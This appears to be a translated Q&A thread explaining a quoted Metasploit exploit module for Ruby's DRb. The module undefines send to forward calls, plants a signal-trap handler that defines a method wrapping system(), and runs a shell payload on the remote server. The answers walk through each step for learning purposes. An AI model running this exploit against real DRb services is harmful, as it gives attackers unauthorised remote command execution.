繁体   English   中英

理解ruby语法“class << variable”

[英]Understanding ruby syntax “class << variable”

我一直在使用metasploit查看DRb中的旧bug,它使用以下方法:

  def exploit
    serveruri = datastore['URI']
    DRb.start_service
    p = DRbObject.new_with_uri(serveruri)
    class << p
      undef :send
    end

    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
    # syscall to decide whether it's 64 or 32 bit:
    # it's getpid on 32bit which will succeed, and writev on 64bit
    # which will fail due to missing args
    begin
      pid = p.send(:syscall, 20)
      p.send(:syscall, 37, pid, 23)
    rescue Errno::EBADF
      # 64 bit system
      pid = p.send(:syscall, 39)
      p.send(:syscall, 62, pid, 23)
    end
    p.send(:my_eval, payload.encoded)
  end

我不是一个红宝石程序员,但我对除了几行以外发生的事情有一个普遍的认识。
任何人都可以解释第5-9行中发生的事情吗? (从“class << ...”开始)

class << p
  undef :send
end

这未定义对象psend方法( send用于在接收器上动态调用方法)。

它这样做是为了利用DRbObjectmethod_missing实现,它将方法调用路由到远程对象。 我对DRb不太熟悉,但我猜这可能是为了让事情超过DRbServercheck_insecure_method检查,但是我会把它作为练习留给你,因为它超出了问题的范围在这里问。

一旦它通过method_missing实现了它需要做的任何事情,它就会在服务器进程上向Object添加一个方法my_eval ,然后使用system将有效负载作为shell命令执行。

class << p
  undef :send
end

此块未定义在本地DRbObject实例上send 正如Michael所指出的,如果DRbObject没有定义方法,它将使用method_missing将方法调用路由到远程服务器。

在这种情况下,所有后续send调用将被路由到远程服务器并在那里进行评估,而不是本地实例。

p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")

这会触发带有信号23的Signal.trap和一个似乎包含一块代码的符号,如果进行了评估,它将在Object上创建一个方法,该方法提供对shell的直接访问。

根据文档, Signal.trap可用于在从操作系统接收特定信号时运行块或命令。 目前还不是很清楚命令是什么,所以我做了一些游戏。

 >   pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping                                                                       #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test                     #=> 1

看起来符号形式的命令将转换为字符串,然后由Signal.trap进行eval

# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
  pid = p.send(:syscall, 20)
  p.send(:syscall, 37, pid, 23)

本节触发调用Unix内核函数的Kernel#syscall rescue位处理64位系统调用号码。 我们来看看这里的32位部分:

  • p.send(:syscall, 20)应该评估为sys_getpid()
  • p.send(:syscall, 37, pid, 23)应该评估为sys_kill(<pid>, 23) 这将触发为信号23设置的早期陷阱。

总之,漏洞利用:

  1. Undefines通过method_missing send强制消息
  2. 使用method_missing触发Signal.trap(23)其中一大块ruby代码转换为符号形式的单行字符串
  3. 使用Kernel#syscall获取当前正在运行的进程的PID
  4. 使用Kernel#syscall来调用kill -23 <pid> ,这会导致在2中设置的陷阱触发,这反过来会破坏提供的符号,在Object上创建my_eval方法,提供对system访问(shell命令行访问)
  5. 使用有效负载调用新创建的my_eval方法

参考文献:

http://syscalls.kernelgrok.com/

https://ruby-doc.org/core-2.2.0/Signal.html#method-c-tr​​ap

https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM